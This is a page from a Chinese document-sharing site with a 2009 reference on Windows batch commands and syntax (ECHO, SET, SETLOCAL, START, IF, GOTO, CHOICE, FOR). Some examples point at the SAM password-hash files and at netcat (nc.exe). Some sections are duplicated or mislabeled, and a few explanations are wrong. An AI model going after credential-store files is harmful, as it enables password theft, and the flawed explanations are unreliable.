WINDOWS命令大全-批處理命令集_第1頁
WINDOWS命令大全-批處理命令集_第2頁
WINDOWS命令大全-批處理命令集_第3頁
WINDOWS命令大全-批處理命令集_第4頁
WINDOWS命令大全-批處理命令集_第5頁
已閱讀5頁,還剩17頁未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡介

HeightGreedyElectronicStudioWINDOWS命令大全-批處理命令集第22頁共22頁代明整理于2009年12月批處理命令集常用的幾個(gè)命令echo、@、call、pause、rem是批處理文件最常用的幾個(gè)命令,我們就從他們開始學(xué)起。ECHO表示顯示此命令后的字符。echooff表示在此語句后所有運(yùn)行的命令都不顯示命令行本身。@與echooff相象,但它是加在其它命令行的最前面,表示運(yùn)行時(shí)不顯示命令行本身。CALL表示調(diào)用另一條批處理文件(如果直接調(diào)用別的批處理文件,執(zhí)行完那條文件后將無法執(zhí)行當(dāng)前文件后續(xù)命令)PAUSE運(yùn)行此句會暫停,顯示Pressanykeytocontinue...等待用戶按任意鍵后繼續(xù)。REM表示此命令后的字符為解釋行,不執(zhí)行,只是給自己今后查找用的。|管道命令<或>重定向命令?!?lt;”,例如:tlntadmn<test.txt指把test.txt的內(nèi)容賦值給tlntadmn命令@表示執(zhí)行@后面的命令,但不會顯示出來(后臺執(zhí)行);例:@dirc:\winnt>>d:\log.txt意思是:后臺執(zhí)行dir,并把結(jié)果存在d:\log.txt中>與>>的區(qū)別">"指:覆蓋;">>"指:保存到(添加到)。如:@dirc:\winnt>>d:\log.txt和@dirc:\winnt>d:\log.txt二個(gè)命令分別執(zhí)行二次比較看:用>>的則是把二次的結(jié)果都保存了,而用:>則只有一次的結(jié)果,是因?yàn)榈诙蔚慕Y(jié)果把第一次的覆蓋了。非常用命令A(yù)SSOC作用:顯示或修改文件擴(kuò)展名關(guān)聯(lián)ASSOC[.ext[=[fileType]]].ext指定跟文件類型關(guān)聯(lián)的文件擴(kuò)展名fileType指定跟文件擴(kuò)展名關(guān)聯(lián)的文件類型鍵入ASSOC而不帶參數(shù),顯示當(dāng)前文件關(guān)聯(lián)。如果只用文件擴(kuò)展名調(diào)用ASSOC,則顯示那個(gè)文件擴(kuò)展名的當(dāng)前文件關(guān)聯(lián)。如果不為文件類型指定任何參數(shù),命令會刪除文件擴(kuò)展名的關(guān)聯(lián)。CALL作用:從批處理程序調(diào)用另一個(gè)批處理程序。CALL[drive:][path]filename[batch-parameters]batch-parameters指定批處理程序所需的命令行信息。如果命令擴(kuò)展名被啟用,CALL會如下改變:CALL命令現(xiàn)在將卷標(biāo)當(dāng)作CALL的目標(biāo)接受。語法是:CALL:labelarguments一個(gè)新的批文件上下文由指定的參數(shù)所創(chuàng)建,控制在卷標(biāo)被指定后傳遞到語句。您必須通過達(dá)到批腳本文件末兩次來"exit"兩次。第一次讀到文件末時(shí),控制會回到CALL語句的緊后面。第二次會退出批腳本。鍵入GOTO/?,參看GOTO:EOF擴(kuò)展名的描述,此描述允許您從一個(gè)批腳本返回。另外,批腳本文本參數(shù)參照(%0、%1、等等)已如下改變:批腳本里的%*指出所有的參數(shù)(如%1%2%3%4%5...)批參數(shù)(%n)的替代已被增強(qiáng)。您可以使用以下語法:%~1-刪除引號("),擴(kuò)充%1。%~f1-將%1擴(kuò)充到一個(gè)完全合格的路徑名。%~d1-僅將%1擴(kuò)充到一個(gè)驅(qū)動器號。%~p1-僅將%1擴(kuò)充到一個(gè)路徑。%~n1-僅將%1擴(kuò)充到一個(gè)文件名。%~x1-僅將%1擴(kuò)充到一個(gè)文件擴(kuò)展名。%~s1-擴(kuò)充的路徑指含有短名。%~a1-將%1擴(kuò)充到文件屬性。%~t1-將%1擴(kuò)充到文件的日期/時(shí)間。%~z1-將%1擴(kuò)充到文件的大小。%~$PATH:1-查找列在PATH環(huán)境變量的目錄,并將%1擴(kuò)充到找到的第一個(gè)完全合格的名稱。如果環(huán)境變量名未被定義,或者沒有找到文件,此組合鍵會擴(kuò)充到空字符串可以組合修定符來取得多重結(jié)果。%~dp1-只將%1擴(kuò)展到驅(qū)動器號和路徑。%~nx1-只將%1擴(kuò)展到文件名和擴(kuò)展名。%~dp$PATH:1-在列在PATH環(huán)境變量中的目錄里查找%1,并擴(kuò)展到找到的第一個(gè)文件的驅(qū)動器號和路徑。%~ftza1-將%1擴(kuò)展到類似DIR的輸出行。在上面的例子中,%1和PATH可以被其他有效數(shù)值替換。%~語法被一個(gè)有效參數(shù)號碼終止。%~修定符不能跟%*使用。COLOR作用:設(shè)置默認(rèn)的控制臺前景和背景顏色。COLOR[attr]attr指定控制臺輸出的顏色屬性顏色屬性由兩個(gè)十六進(jìn)制數(shù)字指定--第一個(gè)為背景,第二個(gè)則為前景。每個(gè)數(shù)字可以為以下任何值之一:0=黑色8=灰色1=藍(lán)色9=淡藍(lán)色2=綠色A=淡綠色3=湖藍(lán)色B=淡淺綠色4=紅色C=淡紅色5=紫色D=淡紫色6=黃色E=淡黃色7=白色F=亮白色如果沒有給定任何參數(shù),該命令會將顏色還原到CMD.EXE啟動時(shí)的顏色。這個(gè)值來自當(dāng)前控制臺窗口、/T開關(guān)或DefaultColor注冊表值。如果用相同的前景和背景顏色來執(zhí)行COLOR命令,COLOR命令會將ERRORLEVEL設(shè)置為1。例如:"COLORfc"在亮白色上產(chǎn)生亮紅色DEL作用:刪除一個(gè)或數(shù)個(gè)文件。DEL[/P][/F][/S][/Q][/A[[:]attributes]]namesERASE[/P][/F][/S][/Q][/A[[:]attributes]]namesnames指定一個(gè)或數(shù)個(gè)文件或目錄列表。通配符可被用來刪除多個(gè)文件。如果指定了一個(gè)目錄,目錄中的所有文件都會被刪除。/P刪除每一個(gè)文件之前提示確認(rèn)。/F強(qiáng)制刪除只讀文件。/S從所有子目錄刪除指定文件。/Q安靜模式。刪除全局通配符時(shí),不要求確認(rèn)。/A根據(jù)屬性選擇要?jiǎng)h除的文件。AttributesR只讀文件S系統(tǒng)文件H隱藏文件A存檔文件-表示“否”的前綴如果命令擴(kuò)展名被啟用,DEL和ERASE會如下改變:/S開關(guān)的顯示句法會顛倒,即只顯示已經(jīng)刪除的文件,而不顯示找不到的文件。SETLOCAL開始批處理文件中環(huán)境改動的本地化操作。在執(zhí)行SETLOCAL之后所做的環(huán)境改動只限于批處理文件。要還原原先的設(shè)置,必須執(zhí)行ENDLOCAL。達(dá)到批處理文件結(jié)尾時(shí),對于該批處理文件的每個(gè)尚未執(zhí)行的SETLOCAL命令,都會有一個(gè)隱含的ENDLOCAL被執(zhí)行。SETLOCAL如果命令擴(kuò)展名被啟用,SETLOCAL會如下改變:SETLOCAL批命令現(xiàn)在可以接受可選參數(shù):ENABLEEXTENSIONS/DISABLEEXTENSIONS啟動或停用命令處理器擴(kuò)展名。詳細(xì)信息,請參閱CMD/?。ENABLEDELAYEDEXPANSION/DISABLEDELAYEDEXPANSION啟動或停用延緩環(huán)境變量擴(kuò)展名。詳細(xì)信息,請參閱對SET的介紹。無論在SETLOCAL命令之前它們的設(shè)置是什么,這些修改會一直保留到匹配的ENDLOCAL命令。如果有一個(gè)參數(shù),SETLOCAL命令將設(shè)置ERRORLEVEL的值。如果有兩個(gè)有效參數(shù)中的一個(gè),該值則為零。用下列技巧,您可以在批腳本中使用這個(gè)來決定擴(kuò)展名是否可用:VERIFYOTHER2>nulSETLOCALENABLEEXTENSIONSIFERRORLEVEL1echoUnabletoenableextensions這個(gè)方法之所以有效,是因?yàn)樵贑MD.EXE的舊版本上,SETLOCAL不設(shè)置ERRORLEVEL值。具有不正確參數(shù)的VERIFY命令將ERRORLEVEL值初始化成非零值。ENDLOCAL結(jié)束批處理文件中環(huán)境改動的本地化操作。在執(zhí)行ENDLOCAL之后所做的環(huán)境改動不再僅限于批處理文件。批處理文件結(jié)束后,原先的設(shè)置無法還原。ENDLOCAL如果命令擴(kuò)展名被啟用,ENDLOCAL會如下改變:如果相應(yīng)的SETLOCAL用新的ENABLEEXTENSIONS或DISABLEEXTENSIONS選項(xiàng)啟用或停用了命令擴(kuò)展名,那么,在ENDLOCAL之后,命令擴(kuò)展名的啟用/停用狀態(tài)會還原到執(zhí)行相應(yīng)的SETLOCAL命令前的狀態(tài)。FTYPE作用:顯示或修改用在文件擴(kuò)展名關(guān)聯(lián)中的文件類型FTYPE[fileType[=[openCommandString]]]fileType指定要檢查或改變的文件類型openCommandString指定調(diào)用這類文件時(shí)要使用的開放式命令。鍵入FTYPE而不帶參數(shù)來顯示當(dāng)前有定義的開放式命令字符串的文件類型。FTYPE僅用一個(gè)文件類型啟用時(shí),它顯示那個(gè)文件類型目前的開放式命令字符串。如果不為開放式命令字符串指定,F(xiàn)TYPE命令將刪除那個(gè)文件類型的開放式命令字符串。在一個(gè)開放式命令字符串之內(nèi),命令字符串%0或%1被通過關(guān)聯(lián)調(diào)用的文件名所代替。%*得到所有的參數(shù),%2得到第一個(gè)參數(shù),%3得到第二個(gè),等等。%~n得到其余所有以nth參數(shù)打頭的參數(shù);n可以是從2到9的數(shù)字。例如:ASSOC.pl=PerlScriptFTYPEPerlScript=perl.exe%1%*允許您啟用以下Perl腳本:script.pl123如果不想鍵入擴(kuò)展名,則鍵入以下字符串:setPATHEXT=.pl;%PATHEXT%被啟動的腳本如下:script123POPD作用:命令選項(xiàng)到保存在PUSHD命令里的目錄。POPD如果命令擴(kuò)展名被啟用,從推目錄堆棧POPD驅(qū)動器時(shí),POPD命令會刪除PUSHD創(chuàng)建的臨時(shí)驅(qū)動器號。PROMPT作用:更改cmd.exe命令提示符。PROMPT[text]text指定新的命令提示符。提示符可以由普通字符及下列特定代碼組成:$A&(短and符號)$B|(管道)$C((左括弧)$D當(dāng)前日期$Ecapecode(ASCII碼27)$F)(右括弧)$G>(大于符號)$HBackspace(擦除前一個(gè)字符)$L<(小于符號)$N當(dāng)前驅(qū)動器$P當(dāng)前驅(qū)動器及路徑$Q=(等號)$S(空格)$T當(dāng)前時(shí)間$VWindowsXP版本號$_換行$$$(貨幣符號)如果命令擴(kuò)展名被啟用,PROMPT命令會支持下列格式化字符:$+根據(jù)PUSHD目錄堆棧的深度,零個(gè)或零個(gè)以上加號(+)字符;每個(gè)被推的層有一個(gè)字符。$M如果當(dāng)前驅(qū)動器不是網(wǎng)絡(luò)驅(qū)動器,顯示跟當(dāng)前驅(qū)動器號或空字符串有關(guān)聯(lián)的遠(yuǎn)程名。PUSHD作用:保存當(dāng)前目錄以供POPD命令使用,然后改到指定的目錄。PUSHD[path|..]path指定要成為當(dāng)前目錄的目錄。如果命令擴(kuò)展名被啟用,除了一般驅(qū)動器號和路徑,PUSHD命令還接受網(wǎng)絡(luò)路徑。如果指定了網(wǎng)絡(luò)路徑,PUSHD將創(chuàng)建一個(gè)指向指定網(wǎng)絡(luò)資源的臨時(shí)驅(qū)動器號,然后再用剛定義的驅(qū)動器號改變當(dāng)前的驅(qū)動器和目錄??梢詮腪:往下分配臨時(shí)驅(qū)動器號,使用找到的第一個(gè)沒有用過的驅(qū)動器號。SET作用:顯示、設(shè)置或刪除cmd.exe環(huán)境變量。SET[variable=[string]]variable指定環(huán)境變量名。string指定要指派給變量的一系列字符串。要顯示當(dāng)前環(huán)境變量,鍵入不帶參數(shù)的SET。如果命令擴(kuò)展名被啟用,SET會如下改變:可僅用一個(gè)變量激活SET命令,等號或值不顯示所有前綴匹配SET命令已使用的名稱的所有變量的值。例如:SETP會顯示所有以字母P打頭的變量如果在當(dāng)前環(huán)境中找不到該變量名稱,SET命令將把ERRORLEVEL設(shè)置成1。SET命令不允許變量名含有等號。在SET命令中添加了兩個(gè)新命令行開關(guān):SET/AexpressionSET/Pvariable=[promptString]/A命令行開關(guān)指定等號右邊的字符串為被評估的數(shù)字表達(dá)式。該表達(dá)式評估器很簡單并以遞減的優(yōu)先權(quán)順序支持下列操作:()-分組!~--一元運(yùn)算符*/%-算數(shù)運(yùn)算符+--算數(shù)運(yùn)算符<<>>-邏輯移位-按位“與”^-按位“異”|-按位“或”=*=/=%=+=-=-賦值&=^=|=<<=>>=,-表達(dá)式分隔符如果您使用任何邏輯或取余操作符,您需要將表達(dá)式字符串用引號擴(kuò)起來。在表達(dá)式中的任何非數(shù)字字符串鍵作為環(huán)境變量名稱,這些環(huán)境變量名稱的值已在使用前轉(zhuǎn)換成數(shù)字。如果指定了一個(gè)環(huán)境變量名稱,但未在當(dāng)前環(huán)境中定義,那么值將被定為零。這使您可以使用環(huán)境變量值做計(jì)算而不用鍵入那些%符號來得到它們的值。如果SET/A在命令腳本外的命令行執(zhí)行的,那么它顯示該表達(dá)式的最后值。該分配的操作符在分配的操作符左邊需要一個(gè)環(huán)境變量名稱。除十六進(jìn)制有0x前綴,八進(jìn)制有0前綴的,數(shù)字值為十進(jìn)位數(shù)字。因此,0x12與18和022相同。請注意八進(jìn)制公式可能很容易搞混:08和09是無效的數(shù)字,因?yàn)?和9不是有效的八進(jìn)制位數(shù)。/P命令行開關(guān)允許將變量數(shù)值設(shè)成用戶輸入的一行輸入。讀取輸入行之前,顯示指定的promptSmptString可以是空的。環(huán)境變量替換已如下增強(qiáng):%PATH:str1=str2%會擴(kuò)展PATH環(huán)境變量,用"str2"代替擴(kuò)展結(jié)果中的每個(gè)"str1"。要有效地從擴(kuò)展結(jié)果中刪除所有的"str1","str2"可以是空的。"str1"可以以星號打頭;在這種情況下,"str1"會從擴(kuò)展結(jié)果的開始到str1剩余部分第一次出現(xiàn)的地方,都一直保持相配。也可以為擴(kuò)展名指定子字符串。%PATH:~10,5%會擴(kuò)展PATH環(huán)境變量,然后只使用在擴(kuò)展結(jié)果中從第11個(gè)(偏移量10)字符開始的五個(gè)字符。如果沒有指定長度,則采用默認(rèn)值,即變量數(shù)值的余數(shù)。如果兩個(gè)數(shù)字(偏移量和長度)都是負(fù)數(shù),使用的數(shù)字則是環(huán)境變量數(shù)值長度加上指定的偏移量或長度。%PATH:~-10%會提取PATH變量的最后十個(gè)字符。%PATH:~0,-2%會提取PATH變量的所有字符,除了最后兩個(gè)。終于添加了延遲環(huán)境變量擴(kuò)充的支持。該支持總是按默認(rèn)值被停用,但也可以通過CMD.EXE的/V命令行開關(guān)而被啟用/停用。請參閱CMD/?考慮到讀取一行文本時(shí)所遇到的目前擴(kuò)充的限制時(shí),延遲環(huán)境變量擴(kuò)充是很有用的,而不是執(zhí)行的時(shí)候。以下例子說明直接變量擴(kuò)充的問題:setVAR=beforeif"%VAR%"=="before"(setVAR=afterif"%VAR%"=="after"@echoIfyouseethis,itworked)不會顯示消息,因?yàn)樵谧x到第一個(gè)IF語句時(shí),BOTHIF語句中的%VAR%會被代替;原因是:它包含IF的文體,IF是一個(gè)復(fù)合語句。所以,復(fù)合語句中的IF實(shí)際上是在比較"before"和"after",這兩者永遠(yuǎn)不會相等。同樣,以下這個(gè)例子也不會達(dá)到預(yù)期效果:setLIST=for%iin(*)dosetLIST=%LIST%%iecho%LIST%原因是,它不會在目前的目錄中建立一個(gè)文件列表,而只是將LIST變量設(shè)成找到的最后一個(gè)文件。這也是因?yàn)?LIST%在FOR語句被讀取時(shí),只被擴(kuò)充了一次;而且,那時(shí)的LIST變量是空的。因此,我們真正執(zhí)行的FOR循環(huán)是:for%iin(*)dosetLIST=%i這個(gè)循環(huán)繼續(xù)將LIST設(shè)成找到的最后一個(gè)文件。延遲環(huán)境變量擴(kuò)充允許您使用一個(gè)不同的字符(驚嘆號)在執(zhí)行時(shí)間擴(kuò)充環(huán)境變量。如果延遲的變量擴(kuò)充被啟用,可以將上面例子寫成以下所示,以達(dá)到預(yù)期效果:setVAR=beforeif"%VAR%"=="before"(setVAR=afterif"!VAR!"=="after"@echoIfyouseethis,itworked)setLIST=for%iin(*)dosetLIST=!LIST!%iecho%LIST%如果命令擴(kuò)展名被啟用,有幾個(gè)動態(tài)環(huán)境變量可以被擴(kuò)展,但不會出現(xiàn)在SET顯示的變量列表中。每次變量數(shù)值被擴(kuò)展時(shí),這些變量數(shù)值都會被動態(tài)計(jì)算。如果用戶用這些名稱中任何一個(gè)定義變量,那個(gè)定義會替代下面描述的動態(tài)定義:%CD%-擴(kuò)展到當(dāng)前目錄字符串。%DATE%-用跟DATE命令同樣的格式擴(kuò)展到當(dāng)前日期。%TIME%-用跟TIME命令同樣的格式擴(kuò)展到當(dāng)前時(shí)間。%RANDOM%-擴(kuò)展到0和32767之間的任意十進(jìn)制數(shù)字。%ERRORLEVEL%-擴(kuò)展到當(dāng)前ERRORLEVEL數(shù)值。%CMDEXTVERSION%-擴(kuò)展到當(dāng)前命令處理器擴(kuò)展名版本號。%CMDCMDLINE%-擴(kuò)展到調(diào)用命令處理器的原始命令行。SETLOCAL作用:開始批處理文件中環(huán)境改動的本地化操作。在執(zhí)行SETLOCAL之后所做的環(huán)境改動只限于批處理文件。要還原原先的設(shè)置,必須執(zhí)行ENDLOCAL。達(dá)到批處理文件結(jié)尾時(shí),對于該批處理文件的每個(gè)尚未執(zhí)行的SETLOCAL命令,都會有一個(gè)隱含的ENDLOCAL被執(zhí)行。SETLOCAL如果命令擴(kuò)展名被啟用,SETLOCAL會如下改變:SETLOCAL批命令現(xiàn)在可以接受可選參數(shù):ENABLEEXTENSIONS/DISABLEEXTENSIONS啟動或停用命令處理器擴(kuò)展名。詳細(xì)信息,請參閱CMD/?。ENABLEDELAYEDEXPANSION/DISABLEDELAYEDEXPANSION啟動或停用延緩環(huán)境變量擴(kuò)展名。詳細(xì)信息,請參閱SET/?。無論在SETLOCAL命令之前它們的設(shè)置是什么,這些修改會一直保留到匹配的ENDLOCAL命令。如果有一個(gè)參數(shù),SETLOCAL命令將設(shè)置ERRORLEVEL的值。如果有兩個(gè)有效參數(shù)中的一個(gè),該值則為零。用下列技巧,您可以在批腳本中使用這個(gè)來決定擴(kuò)展名是否可用:VERIFYOTHER2>nulSETLOCALENABLEEXTENSIONSIFERRORLEVEL1echoUnabletoenableextensions這個(gè)方法之所以有效,是因?yàn)樵贑MD.EXE的舊版本上,SETLOCAL不設(shè)置ERRORLEVEL值。具有不正確參數(shù)的VERIFY命令將ERRORLEVEL值初始化成非零值。START作用:啟動另一個(gè)窗口運(yùn)行指定的程序或命令。START["title"][/Dpath][/I][/MIN][/MAX][/SEPARATE|/SHARED][/LOW|/NORMAL|/HIGH|/REALTIME|/ABOVENORMAL|/BELOWNORMAL][/WAIT][/B][command/program][parameters]"title"在窗口標(biāo)題欄中顯示的標(biāo)題。path起始目錄B在不創(chuàng)建新窗口的情況下開始應(yīng)用程序。除非啟動^C處理,否則該應(yīng)用程序會忽略^C處理;^Break是唯一可以中斷該應(yīng)用程序的方式I新環(huán)境是傳遞給cmd.exe的原始環(huán)境,而不是當(dāng)前環(huán)境MIN開始時(shí)窗口最小化MAX開始時(shí)窗口最大化SEPARATE在分開的空間內(nèi)開始16位Windows程序SHARED在分共享的空間內(nèi)開始16位Windows程序LOW在IDLE優(yōu)先級類別開始應(yīng)用程序NORMAL在NORMAL優(yōu)先級類別開始應(yīng)用程序HIGH在HIGH優(yōu)先級類別開始應(yīng)用程序REALTIME在REALTIME優(yōu)先級類別開始應(yīng)用程序ABOVENORMAL在ABOVENORMAL優(yōu)先級類別開始應(yīng)用程序BELOWNORMAL在BELOWNORMAL優(yōu)先級類別開始應(yīng)用程序WAIT啟動應(yīng)用程序并等候它結(jié)束command/program如果是內(nèi)部cmd命令或批文件,那么該命令處理器是用/K命令行開關(guān)運(yùn)行cmd.exe的。這表示該窗口在命令運(yùn)行后仍然存在。如果不是內(nèi)部cmd命令或批文件,則是一個(gè)程序,并作為窗口應(yīng)用程序或控制臺應(yīng)用程序運(yùn)行。parameters這些為傳送到命令/程序的參數(shù)如果命令擴(kuò)展名被啟用,通過命令行或START命令的外部命令調(diào)用會如下改變:將文件名作為命令鍵入,非可執(zhí)行文件可以通過文件關(guān)聯(lián)調(diào)用。(例如,WORD.DOC會調(diào)用跟.DOC文件擴(kuò)展名關(guān)聯(lián)的應(yīng)用程序)。關(guān)于如何從命令腳本內(nèi)部創(chuàng)建這些關(guān)聯(lián),請參閱ASSOC和FTYPE命令。執(zhí)行的應(yīng)用程序是32-位GUI應(yīng)用程序時(shí),CMD.EXE不等應(yīng)用程序終止就返回命令提示。如果在命令腳本內(nèi)執(zhí)行,該新行為則不會發(fā)生。如果執(zhí)行的命令行的第一個(gè)符號是不帶擴(kuò)展名或路徑修飾符的字符串"CMD","CMD"會被COMSPEC變量的數(shù)值所替換。這防止從當(dāng)前目錄抓出CMD.EXE。如果執(zhí)行的命令行的第一個(gè)符號沒有擴(kuò)展名,CMD.EXE會使用PATHEXT環(huán)境變量的數(shù)值來決定要以什么順序?qū)ふ夷男U(kuò)展名。PATHEXT變量的默認(rèn)值是:.COM;.EXE;.BAT;.CMD請注意,該語法跟PATH變量的一樣,分號隔開不同的元素。查找可執(zhí)行文件時(shí),如果沒有相配的擴(kuò)展名,看一看該名稱是否與目錄名相配。如果確實(shí)如此,START會在那個(gè)路徑上調(diào)用Explorer。如果從命令行執(zhí)行,則等同于對那個(gè)路徑作CD/D。SHIFT作用:更改批處理文件中可替換參數(shù)的位置。SHIFT[/n]如果命令擴(kuò)展名被啟用,SHIFT命令支持/n命令行開關(guān);該命令行開關(guān)告訴命令從第n個(gè)參數(shù)開始移位;n介于零和八之間。例如:SHIFT/2會將%3移位到%2,將%4移位到%3,等等;并且不影響%0和%1。TITLE作用:設(shè)置默認(rèn)的控制臺前景和背景顏色。COLOR[attr]attr指定控制臺輸出的顏色屬性顏色屬性由兩個(gè)十六進(jìn)制數(shù)字指定--第一個(gè)為背景,第二個(gè)則為前景。每個(gè)數(shù)字可以為以下任何值之一:0=黑色1=藍(lán)色2=綠色3=湖藍(lán)色4=紅色5=紫色6=黃色7=白色8=灰色9=淡藍(lán)色A=淡綠色B=淡淺綠色C=淡紅色D=淡紫色E=淡黃色F=亮白色如果沒有給定任何參數(shù),該命令會將顏色還原到CMD.EXE啟動時(shí)的顏色。這個(gè)值來自當(dāng)前控制臺窗口、/T開關(guān)或DefaultColor注冊表值。如果用相同的前景和背景顏色來執(zhí)行COLOR命令,COLOR命令會將ERRORLEVEL設(shè)置為1。例如:"COLORfc"在亮白色上產(chǎn)生亮紅色批處理參數(shù)參數(shù):批處理文件中還可以像C語言一樣使用參數(shù),這只需用到一個(gè)參數(shù)表示符%。%表示參數(shù),參數(shù)是指在運(yùn)行批處理文件時(shí)在文件名后加的字符串。變量可以從%0到%9,%0表示文件名本身,字符串用%1到%9順序表示。:%i,而指定一個(gè)變量則用:%%i,而調(diào)用變量時(shí)用:%i%,變量是區(qū)分大小寫的(%i不等于%I)。例:C:\根目錄下一批處理文件名為f.bat,內(nèi)容為format%1則如果執(zhí)行C:\>fa:則實(shí)際執(zhí)行的是formata:例:C:根目錄下一批處理文件的名為t.bat,內(nèi)容為type%1type%2那么運(yùn)行C:\>ta.txtb.txt將順序地顯示a.txt和b.txt文件的內(nèi)容。內(nèi)置參數(shù)說明:%HOMEDRIVE%代表當(dāng)前系統(tǒng)驅(qū)動器%HOMEPATH%代表當(dāng)前系統(tǒng)的系統(tǒng)目錄%SYSTEMROOT%參數(shù)代表當(dāng)前系統(tǒng)的系統(tǒng)目錄。%SYSTEMDRIVE%表示當(dāng)前系統(tǒng)驅(qū)動器%USERPROFILE%系統(tǒng)用戶文件目錄%RAMD%參數(shù)代表緩存%WINDIR%參數(shù)代表系統(tǒng)的WINDOWS目錄$RECYCLE.BIN回收站(前面必須加盤符例:rd/s/q"y:\$recycle.bin\vod_cache_data"2>NUL)例:path=%RAMD%:\;c:\bin\;作用是將C:\盤根目錄和C:\WIN\目錄加入緩存。以后可以在任何目錄下面執(zhí)行里面的文件。例:%windir%\repair\sam.*表示當(dāng)前NT系統(tǒng)下的REPAIR目錄下的所有SAM文件條件判斷、跳轉(zhuǎn)、用戶輸入選擇、循環(huán)條件判斷IF跳轉(zhuǎn)GOTO用戶輸入選擇CHOICE循環(huán)FORIFIF命令及變量基本格式:IF[not]errorlevel數(shù)字命令語句如果程序運(yùn)行最后返回一個(gè)等于或大于指定數(shù)字的退出編碼,指定條件為“真”。例:IFerrorlevel0命令指程序執(zhí)行后返回的值為0時(shí),就值行后面的命令;IFnoterrorlevel1命令指程序執(zhí)行最后返回的值不等于1,就執(zhí)行后面的命令。0指發(fā)現(xiàn)并成功執(zhí)行(真);1指沒有發(fā)現(xiàn)、沒執(zhí)行(假)。IF[not]字符串1==字符串2命令語句如果指定的文本字符串匹配(即:字符串1等于字符串2),就執(zhí)行后面的命令。例:“if"%2%"=="4"gotostart”指:如果輸入的第二個(gè)變量為4時(shí),執(zhí)行后面的命令(注意:調(diào)用變量時(shí)就%變量名%并加"")IF[not]exist文件名命令語句如果指定的文件名存在,就執(zhí)行后面的命令。例:“ifnotnc.exegotoend”指:如果沒有發(fā)現(xiàn)nc.exe文件就跳到":end"標(biāo)簽處。IF[not]errorlevel數(shù)字命令語句else命令語句或IF[not]字符串1==字符串2命令語句else命令語句或IF[not]exist文件名命令語句else命令語句加上:else命令語句后指:當(dāng)前面的條件不成立時(shí),就指行else后面的命令。注意:else必須與if在同一行才有效。當(dāng)有del命令時(shí)需把del命令全部內(nèi)容用<>括起來,因?yàn)閐el命令要單獨(dú)一行時(shí)才能執(zhí)行,用上<>后就等于是單獨(dú)一行了;例如:“ifexisttest.txt.<deltest.txt.>elseechotest.txt.missing”,注意命令中的“.”IF表示將判斷是否符合規(guī)定的條件,從而決定執(zhí)行不同的命令。有三種格式:1、if"參數(shù)"=="字符串"待執(zhí)行的命令參數(shù)如果等于指定的字符串,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。(注意是兩個(gè)等號)如:if"%1"=="a"formata:2、ifexist文件名待執(zhí)行的命令如果有指定的文件,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。如:ifexistconfig.syseditconfig.sys3、iferrorlevel數(shù)字待執(zhí)行的命令如果返回碼等于指定的數(shù)字,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。如:iferrorlevel2gotox2DOS程序運(yùn)行時(shí)都會返回一個(gè)數(shù)字給DOS,稱為錯(cuò)誤碼errorlevel或稱返回碼。GOTO作用:將cmd.exe導(dǎo)向到批處理程序中帶標(biāo)簽的行。GOTOlabellabel指定批處理程序中用作標(biāo)簽的文字字符串。標(biāo)簽必須單獨(dú)一行,并且以冒號打頭。如果命令擴(kuò)展名被啟用,GOTO會如下改變:GOTO命令現(xiàn)在接受目標(biāo)標(biāo)簽:EOF,這個(gè)標(biāo)簽將控制轉(zhuǎn)移到當(dāng)前批腳本文件的結(jié)尾。不定義就退出批腳本文件,這是一個(gè)容易的辦法。有關(guān)能使該功能有用的CALL命令的擴(kuò)展名描述,請鍵入CALL/?。goto批處理文件運(yùn)行到這里將跳到goto所指定的標(biāo)號處,一般與if配合使用。如:gotoend:endechothisistheend標(biāo)號用:字符串表示,標(biāo)號所在行不被執(zhí)行CHOICEchoice使用此命令可以讓用戶輸入一個(gè)字符,從而運(yùn)行不同的命令。使用時(shí)應(yīng)該加/c:參數(shù),c:后應(yīng)寫提示可輸入的字符,之間無空格。它的返回碼為1234……如:choice/cmedefrag,mem,end將顯示defrag,mem,end[D,M,E]?例如,test.bat的內(nèi)容如下:@echooffchoice/cmedefrag,mem,endiferrorlevel3gotodefrag;應(yīng)先判斷數(shù)值最高的錯(cuò)誤碼iferrorlevel2gotomemiferrotlevel1gotoenddefragc:\dos\defraggotoend:memmemgotoend:endechogoodbye此文件運(yùn)行后,將顯示defrag,mem,end[D,M,E]?用戶可選擇d,m,e,然后if語句將作出判斷,d表示執(zhí)行標(biāo)號為defrag的程序段,m表示執(zhí)行標(biāo)號為mem的程序段,e表示執(zhí)行標(biāo)號為end的程序段。每個(gè)程序段最后都以gotoend將程序跳到end標(biāo)號處,然后程序?qū)@示goodbye,文件結(jié)束。FORFOR命令及變量for循環(huán)命令,只要條件符合,它將多次執(zhí)行同一命令。格式FOR[%%f]in(集合)DO[命令]基本格式:FOR%variableIN(set)DOcommand[command-parameters]%variable指定一個(gè)單一字母可替換的參數(shù)。(set)指定一個(gè)或一組文件??梢允褂猛ㄅ浞?。command指定對每個(gè)文件執(zhí)行的命令。command-parameters為特定命令指定參數(shù)或命令行開關(guān)。在批處理文件中使用FOR命令時(shí),指定變量請使用%%variable而不要用%variable。變量名稱是區(qū)分大小寫的,所以%i不同于%I.如果命令擴(kuò)展名被啟用,下列額外的FOR命令格式會受到支持:FOR/D%variableIN(set)DOcommand[command-parameters]如果集中包含通配符,則指定與目錄名匹配,而不與文件名匹配。FOR/R[[drive:]path]%variableIN(set)DOcommand[command-parameters]檢查以[drive:]path為根的目錄樹,指向每個(gè)目錄中的FOR語句。如果在/R后沒有指定目錄,則使用當(dāng)前目錄。如果集僅為一個(gè)單點(diǎn)(.)字符,則枚舉該目錄樹。FOR/L%variableIN(start,step,end)DOcommand[command-parameters]該集表示以增量形式從開始到結(jié)束的一個(gè)數(shù)字序列。因此,(1,1,5)將產(chǎn)生序列12345,(5,-1,1)將產(chǎn)生序列(54321)。FOR/F["options"]%variableIN(file-set)DOcommand[command-parameters]FOR/F["options"]%variableIN("string")DOcommand[command-parameters]FOR/F["options"]%variableIN('command')DOcommand[command-parameters]或者,如果有usebackq選項(xiàng):FOR/F["options"]%variableIN(file-set)DOcommand[command-parameters]FOR/F["options"]%variableIN("string")DOcommand[command-parameters]FOR/F["options"]%variableIN('command')DOcommand[command-parameters]filenameset為一個(gè)或多個(gè)文件名。繼續(xù)到filenameset中的下一個(gè)文件之前,每份文件都已被打開、讀取并經(jīng)過處理。處理包括讀取文件,將其分成一